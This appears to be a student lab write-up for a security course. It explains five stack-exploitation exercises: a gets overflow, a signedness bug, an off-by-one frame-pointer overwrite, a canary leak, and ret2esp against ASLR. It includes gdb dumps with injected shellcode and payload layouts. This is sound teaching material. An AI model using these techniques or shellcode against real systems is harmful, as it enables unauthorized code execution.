

Question 1

The program 'dejavu.c' contains a buffer overflow vulnerability. The declaration `char door[8]` restricts the size of the buffer, but `gets` doesn't check the length of the user input.

Here we see the memory addresses surrounding buffer and their contents. We can see the return instruction pointer or saved `eip` value (`0xb7ffc4d3`) and location (`0xbffff78c`). The strategy for attack is to overwrite the `eip` value to `eip+4` and write the beginning of the shellcode to that location. This way when the stack is closed, the program looks to the `eip` value to know which code should be executed. Because of how we overwrite the buffer, that points to the shellcode!

Before:

Note we find the location of the `eip` by typing `info frame` into `gdb` and `x/32x door` to see the memory around the buffer (`door`)

```
(gdb) s
deja_vu () at dejavu.c:7
7      gets(door);
(gdb) info frame
Stack level 0, frame at 0xbffff790:
 eip = 0xb7ffc4ab in deja_vu (dejavu.c:7); saved eip = 0xb7ffc4d3
 called by frame at 0xbffff7b0
 source language c.
 Arglist at 0xbffff788, args:
 Locals at 0xbffff788, Previous frame's sp is 0xbffff790
 Saved registers:
  ebp at 0xbffff788, eip at 0xbffff78c
(gdb) x/32x door
0xbffff778:  0xbffff82c  0xb7ffc165  0x00000000  0x00000000
0xbffff788:  0xbffff798  0xb7ffc4d3  0x00000000  0xbffff7b0
0xbffff798:  0xbffff82c  0xb7ffc6ae  0xb7ffc648  0xb7ffefd8
0xbffff7a8:  0xbffff824  0xb7ffc6ae  0x00000001  0xbffff824
0xbffff7b8:  0xbffff82c  0x00000000  0x00000000  0x00000100
0xbffff7c8:  0xb7ffc682  0xb7ffefd8  0x00000000  0x00000000
0xbffff7d8:  0x00000000  0xb7ffc32a  0xb7ffc4bd  0x00000001
0xbffff7e8:  0xbffff824  0xb7ffc158  0xb7ffd19d  0x00000000
(gdb) █
```

After:

Note we overwrite the buffer with “A” = 0x41, we overwrite the location of the eip (located at **0xbffff78c**) to the beginning of the shellcode in the previous stack (such that value of the eip is **0xbffff790**)

```
(gdb) x/32x 0xbffff778
0xbffff778:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff788:    0x41414141    0xbffff790    0xcd58316a    0x89c38980
0xbffff798:    0x58466ac1    0xc03180cd    0x2f2f6850    0x2f686873
0xbffff7a8:    0x546e6962    0x8953505b    0xb0d231e1    0x0080cd0b
0xbffff7b8:    0xbffff800    0x00000000    0x00000000    0x00000100
0xbffff7c8:    0xb7ffc682    0xb7ffefd8    0x00000000    0x00000000
0xbffff7d8:    0x00000000    0xb7ffc32a    0xb7ffc4bd    0x00000001
0xbffff7e8:    0xbffff824    0xb7ffc158    0xb7ffd19d    0x00000000
```

Question 2

In a similar fashion to the previous question, there is a buffer overflow vulnerability due to a type error in “agent-smith.” Although **size** is interpreted to be an **int8_t**, signed integer type when performing the length check, it is interpreted as a **size_t**, unsigned variable in **freads**. Therefore, if we insert a value like **0xFF**, it is interpreted as -1 when checking the size of our input, but is interpreted as **255** when used in **freads**, allowing us to overflow the buffer variable **msg** in the same fashion as the last problem.

Before:

Note we find the location of the eip by typing **info frame** into gdb and **x/128x msg** to see the memory around the buffer (**msg**). Note the 128 bytes that were zero'd out by the **memset** function, and the highlighted **eip** value.

```
(gdb) info frame
Stack level 0, frame at 0xbffff760:
  eip = 0x4006f9 in display (agent-smith.c:17); saved eip = 0x400775
  called by frame at 0xbffff790
  source language c.
Arglist at 0xbffff758, args: path=0xbffff916 "pwnzerized"
Locals at 0xbffff758, Previous frame's sp is 0xbffff760
Saved registers:
  ebx at 0xbffff754, ebp at 0xbffff758, eip at 0xbffff75c
```

```
(gdb) x/128x msg
0xbffff6c8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6d8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6e8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff6f8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff708: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff718: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff728: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff738: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff748: 0x00000001 0xb7fff270 0x00000000 0xb7ffc5c
0xbffff758: 0xbffff778 0x00400775 0xbffff916 0x00000000
0xbffff768: 0x00000000 0x00400751 0x00000000 0xbffff790
0xbffff778: 0xbffff810 0xb7f8cc8b 0xbffff804 0x00000002
```

After:

Our solution is “0xFF” + “random148bytes” + “newEIPvalue” + “shellcode”. We find the difference between the `eip` location and the beginning of the buffer to be 148 bytes. We use the value `A` or `0x41` as shown below. We calculate the new `eip` value to be the location of the old `eip` value + 4 bytes (`0xbffff760`, shown below), where we will then enter the shellcode. The `0xFF` value is explained above, as it allows us to overwrite the buffer because of the improper interpretation of a variable.

```
(gdb) x/128x msg
0xbffff6c8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6d8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6e8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff6f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff708: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff718: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff728: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff738: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff748: 0x000000c0 0x41414141 0x41414141 0x41414141
0xbffff758: 0x41414141 0xbffff760 0xcd58316a 0x89c38980
0xbffff768: 0x58466ac1 0xc03180cd 0x2f2f6850 0x2f686873
0xbffff778: 0x546e6962 0x8953505b 0xb0d231e1 0x0a80cd0b
0xbffff788: 0xbffff810 0xb7f8cc8b 0x00000002 0xbffff804
0xbffff798: 0xbffff810 0x00000008 0x00000000 0x00000000
0xbffff7a8: 0xb7f8cc5f 0x00401fb8 0xbffff800 0xb7ffede4
0xbffff7b8: 0x00000000 0x00400505 0x0040073b 0x00000002
```

Question 3

Here we can use an ‘off-by-one’ attack to re-direct the **ebp** that eventually causes the **esp** to point to a value that it assumes is the **rip** (but is in fact, a value that we have inserted to point to shellcode).

First, three frames are created on the stack in the following order: **main**, **dispatch**, **invoke**, **flip**. In the frame of **invoke** lies our buffer, **buf**, of size 64 bytes. In **flip**, we write to the buffer. However, an error in writing the for loop allows us to overwrite the byte highlighted in the ‘before’ output below (the lower byte of the **saved frame pointer** in the frame of **invoke**). When the frame of **invoke** closes, the **ebp** goes to the value of the **saved frame pointer** (which we have adjusted) and **esp** correctly reads the **rip** (located at the location 4 bytes away from the **ebp**) which moves to the next line of code. We now enter the frame of **dispatch**, and then promptly exit. At this point the **esp** reads the **rip** (which it knows is at the location 4 bytes away from the **ebp**). But because we modified the location of **ebp**, we make sure the value at the location 4 bytes away from the **ebp** points to our shellcode.

Our solution is therefore:

```
“addressOfShellcode*” + “addressOfShellcode” + “shellcode” + “17RandomBytes” +
“SFPbyteWeOverwrite (to point to addressOfShellcode)”
```

*Note: this first **addressOfShellcode** could be any random 4 bytes, as the **esp** reads the **rip** 4 bytes away from the **ebp** and runs the shellcode that doesn’t access the memory at the new **ebp** value.

Before:

Here we see the 64 byte **buf** in **invoke**, and the highlighted 65th byte that is the lower byte of the **sfp** that we overwrite.

```
(gdb) x/64x buf
0xbffff700: 0x00000000 0x00000001 0x00000000 0xbffff8ab
0xbffff710: 0x00000000 0x00000000 0x00000000 0xb7ffc44e
0xbffff720: 0x00000000 0xb7ffeefd 0xbffff7e0 0xb7ffc165
0xbffff730: 0x00000000 0x00000000 0x00000000 0xb7ffc6dc
0xbffff740: 0xbffff74c 0xb7ffc539 0xbffff8df 0xbffff758
```

After:

Below is the highlighted 64 bytes of **buf** (and the 65th byte after it) overwritten. As we’re in **invoke**, you can see the result of **info frame** saying the **ebp** is at **0xbffff740** and the **eip** is at **0xbffff744**.

```
(gdb) x/64x buf
```

0xbffff700:	0xbffff708	0xbffff708	0xcd58316a	0x89c38980
0xbffff710:	0x58466ac1	0xc03180cd	0x2f2f6850	0x2f686873
0xbffff720:	0x546e6962	0x8953505b	0xb0d231e1	0x6180cd0b
0xbffff730:	0x61616161	0x61616161	0x61616161	0x61616161
0xbffff740:	0xbffff700	0xb7ffc539	0xbffff8df	0xbffff758
0xbffff750:	0xb7ffc55d	0xbffff8df	0xbffff7e0	0xb7ffc734
0xbffff760:	0x00000002	0xbffff7d4	0xbffff7e0	0x00000000
0xbffff770:	0x00000000	0x00000100	0xb7ffc708	0xb7ffefd8
0xbffff780:	0x00000000	0x00000000	0x00000000	0xb7ffc32a
0xbffff790:	0xb7ffc53f	0x00000002	0xbffff7d4	0xb7ffc158
0xbffff7a0:	0xb7ffd29b	0x00000000	0x00000000	0x00000000
0xbffff7b0:	0x00000000	0xb7ffc2fe	0x00000000	0xb7ffc1dd
0xbffff7c0:	0xb7ffc000	0xbffff7d0	0xbffff7d0	0xbffff7d0
0xbffff7d0:	0x00000002	0xbffff8c7	0xbffff8df	0x00000000
0xbffff7e0:	0xbffff921	0xbffff929	0xbfffffc6	0xbfffffc6
0xbffff7f0:	0xbfffffd4	0x00000000	0x00000020	0xb7ffac10

```
(gdb) info frame
```

```
Stack level 0, frame at 0xbffff748:
```

```
  eip = 0xb7ffc51c in invoke (agent-brown.c:19); saved eip = 0xb7ffc539
```

```
  called by frame at 0xbffff708
```

```
  source language c.
```

```
  Arglist at 0xbffff740, args:
```

```
    in=0xbffff8df "(\\327B (\\327B J\\021x\\355\\240\\251\\343\\251\\341Jfx\\355\\240\\0
Nt{ps\\251\\301\\021\\362\\220+\\355\\240", 'A' <repeats 17 times>, " "
```

```
  Locals at 0xbffff740, Previous frame's sp is 0xbffff748
```

```
  Saved registers:
```

```
    ebp at 0xbffff740, eip at 0xbffff744
```

```
(gdb) list 19
```

```
14     }
15
16     void invoke(const char *in)
17     {
18         char buf[64];
19         flip(buf, in);
20         puts(buf);
21     }
22
23     void dispatch(const char *in)
```

```
(gdb) n
```

```
20         puts(buf);
```


Now we are leaving **dispatch**. I've reprinted the contents of **buf** below. Note that now, as we move frames the **ebp** is at **0xbffff700** and the **eip** is at **0xbffff704**. This is because when we exited **invoke**, the **ebp** moved to the **sfp** value that we overwrite in **buf**, **0xbffff700**. This means that now, when we leave **dispatch**, the **esp** calculates the **eip** as 4 bytes above the **ebp**'s location. We then execute the code at the value of the **eip** register, which is **0xbffff708**, which points to our shellcode.

```
(gdb) x/64x 0xbffff700
0xbffff700: 0xbffff708 0xbffff708 0xcd58316a 0x89c38980
0xbffff710: 0x58466ac1 0xc03180cd 0x2f2f6850 0x2f686873
0xbffff720: 0x546e6962 0x8953505b 0xb0d231e1 0x6180cd0b
0xbffff730: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffff740: 0xbffff700 0xb7ffc539 0xbffff8df 0xbffff758
0xbffff750: 0xb7ffc55d 0xbffff8df 0xbffff7e0 0xb7ffc734
0xbffff760: 0x00000002 0xbffff7d4 0xbffff7e0 0x00000000
```

```
(gdb) list 25
20     puts(buf);
21 }
22
23 void dispatch(const char *in)
24 {
25     invoke(in);
26 }
27
28 int main(int argc, char *argv[])
29 {
(gdb) info frame
Stack level 0, frame at 0xbffff708:
 eip = 0xb7ffc53c in dispatch (agent-brown.c:26); saved eip = 0xbffff708
 called by frame at 0xbffff710
 source language c.
 Arglist at 0xbffff700, args: in=0xcd58316a <error: Cannot access memory at address 0xcd58316a>
 Locals at 0xbffff700, Previous frame's sp is 0xbffff708
 Saved registers:
  ebp at 0xbffff700, eip at 0xbffff704
```

Question 4

The vulnerability in question 4 is a combination of buffer overflow and null-termination of strings in C.

This is the code in our interact file.

From the code above, we first send 12 A's followed by a \x and a \n. Since strings in C are null-terminated, \x00 and \x00 are padded on as the terminator in order to make the length of the string equal to 16. So, when the while loop reads the \x, it does the nibble_to_int conversion for \x00\n\x00\x00, and then increments i's count from 12 to 16. However, c.buffer[16] is not a null terminator, but rather the first byte of the canary. Therefore, the while loop keeps going until it hits a null terminator somewhere further down the line. For the purposes of determining the canary, however, in the received string, the first 12 bytes are the A's, the 13th byte is the nibble_to_int converted number, and the 14th byte (i.e. 13th index) is where the canary starts, so we specify p.recvline()[13:17], to extract the 4 bytes of the canary.

Next, we send the following bytes via p.send('\x00' * 16 + canary + 'B' * 8 + '\xa4\xf7\xff\xbf' + SHELLCODE + '\x00\n'). In order to prevent having the answer overflow into the buffer which, in turn, could overflow into the canary, we need to cut off execution of the while loop, which occurs with the first '\x0'. The next 15 bytes can be arbitrary (in this case, it is 'x0') but it could very easily have been p.send('\x00' + 'A' * 15 + ...), so long as the null terminator is in the beginning, and the canary is not overwritten. Then, we follow this with the canary which we determined earlier, followed by 8 random characters (in this case 'B') which is used to overwrite **ebp** (we don't care about it), since the **eip** is 8 bytes after the canary. Finally, we follow this with the address in memory that we want to execute our

shellcode (i.e. the rip), followed by the shellcode, and then finally, followed by a new line character.

In order to identify the rip, we looked into the gdb. By running the command `info frame` inside the gdb, we were able to identify the addresses of the `ebp @ 0xbffff79c`

```
(gdb) x/32x c.buffer
0xbffff784: 0x00000000 0x00000000 0x00000000 0x00401fb0
0xbffff794: 0x4fea3671 0x00401fb0 0xbffff7a8 0x00400839
0xbffff7a4: 0xb7ffc5c 0xbffff82c 0xb7f8cc8b 0x00000001
0xbffff7b4: 0xbffff824 0xbffff82c 0x00000008 0x00000000
0xbffff7c4: 0x00000000 0xb7f8cc5f 0x00401fb0 0xbffff820
0xbffff7d4: 0xb7ffede4 0x00000000 0x00400555 0x00400823
0xbffff7e4: 0x00000001 0xbffff824 0x00400464 0x00400898
0xbffff7f4: 0x00000000 0xb7fc9aea 0x00000000 0x00000000
(gdb) info frame
Stack level 0, frame at 0xbffff7a4:
 eip = 0x40072f in dehexify (agent-jz.c:18); saved eip = 0x400839
 called by frame at 0xbffff7b0
 source language c.
 Arglist at 0xbffff79c, args:
 Locals at 0xbffff79c, Previous frame's sp is 0xbffff7a4
 Saved registers:
 ebx at 0xbffff798, ebp at 0xbffff79c, eip at 0xbffff7a0
(gdb) █
```

and the `eip @ 0xbffff7a0`. This means that our rip is `eip + 4 = eip @ 0xbffff7a4`.

From this output, we can see that the address of the buffer is `0xbffff784`, which means that 24 bytes are between `c.buffer` and the `ebp` (`0xbffff79c - 0xbffff784`) = 24, and since the buffer is 16 bytes and the canary is 4 bytes, this means that there are 4 bytes of separation between the canary and the `ebp`.

Question 5

Here we can use the `ret2esp` method to exploit the existence of a buffer overflow vulnerability, even with ASLR enabled. We find a `jmp %esp` instruction's address, and use that address when overwriting the `rip`. We then place the shellcode above the `rip`, as the instruction will execute and tell the program to read the code located at the location of the stack pointer, as detailed in the smashing the stack resource provided.

The buffer overflow vulnerability is located in the `io` function. Even though the size of the buffer we pass in is **32 bytes**, because we left shift the argument that limits the amount we can write to the buffer by 3, the `recv` function allows us to write 8x more bytes (**256 bytes**) into the buffer.

```

ssize_t io(int socket, size_t n, char *buf)
{
    recv(socket, buf, n << 3, 0);
    size_t i = 0;
    while (buf[i] && buf[i] != '\n' && i < n)
        buf[i++] ^= 0x42;
    return i;
    send(socket, buf, n, 0);
}

void handle(int client)
{
    char buf[32];
    memset(buf, 0, sizeof(buf));
    io(client, 32, buf);
}

```

Even though we have a buffer overflow vulnerability, we cannot simply insert shellcode and point the `rip` to the beginning of the shellcode because ASLR scrambles the location of the beginning of each memory segment. Therefore, we have to find an instruction in the code (in the `.txt` segment, that is NOT scrambled in ASLR) that will tell the program to execute the code in a specific location relative to an existing variable (we cannot use absolute values, rather we must use relative values to bypass ASLR).

From the code, we can see that the number **58623** or **0xE4FF** is used in the code. We can find that value using GDB, and from there find the location of the instruction `jmp %esp` which tells the program to execute the code at the stack pointer location.

```

(gdb) disass magic
Dump of assembler code for function magic:
   0x08048644 <+0>:    push    %ebp
   0x08048645 <+1>:    mov     %esp,%ebp
   0x08048647 <+3>:    call   0x804892c <__x86.get_pc_thunk.ax>
   0x0804864c <+8>:    add     $0x1964,%eax
   0x08048651 <+13>:   mov     0xc(%ebp),%eax
   0x08048654 <+16>:   shl     $0x3,%eax
   0x08048657 <+19>:   xor     %eax,0x8(%ebp)
   0x0804865a <+22>:   mov     0x8(%ebp),%eax
   0x0804865d <+25>:   shl     $0x3,%eax
   0x08048660 <+28>:   xor     %eax,0xc(%ebp)
   0x08048663 <+31>:   orl     $0xe4ff,0x8(%ebp)
   0x0804866a <+38>:   mov     0xc(%ebp),%ecx
   0x0804866d <+41>:   mov     $0x3e0f83e1,%edx
   0x08048672 <+46>:   mov     %ecx,%eax
   0x08048674 <+48>:   mul     %edx
   0x08048676 <+50>:   mov     %edx,%eax
   0x08048678 <+52>:   shr     $0x4,%eax
   0x0804867b <+55>:   imul    $0x42,%eax,%eax
   0x0804867e <+58>:   sub     %eax,%ecx
   0x08048680 <+60>:   mov     %ecx,%eax
   0x08048682 <+62>:   mov     %eax,0xc(%ebp)
   0x08048685 <+65>:   mov     0x8(%ebp),%eax
   0x08048688 <+68>:   and     0xc(%ebp),%eax
   0x0804868b <+71>:   pop     %ebp
   0x0804868c <+72>:   ret
End of assembler dump.
(gdb) x/i 0x08048666
0x08048666 <magic+34>:    jmp     *%esp

```

Since we know the address of this instruction and it never changes in ASLR, we can combine this knowledge with the buffer overflow vulnerability to overwrite our buffer and stack frame pointer, replace the `rip` with the appropriate address **0x08048666**, and insert our shellcode afterwards such that it is in the previous stack frame (where the stack frame pointer will be when the `rip` value is read, allowing our `jmp *%esp` instruction to execute the code).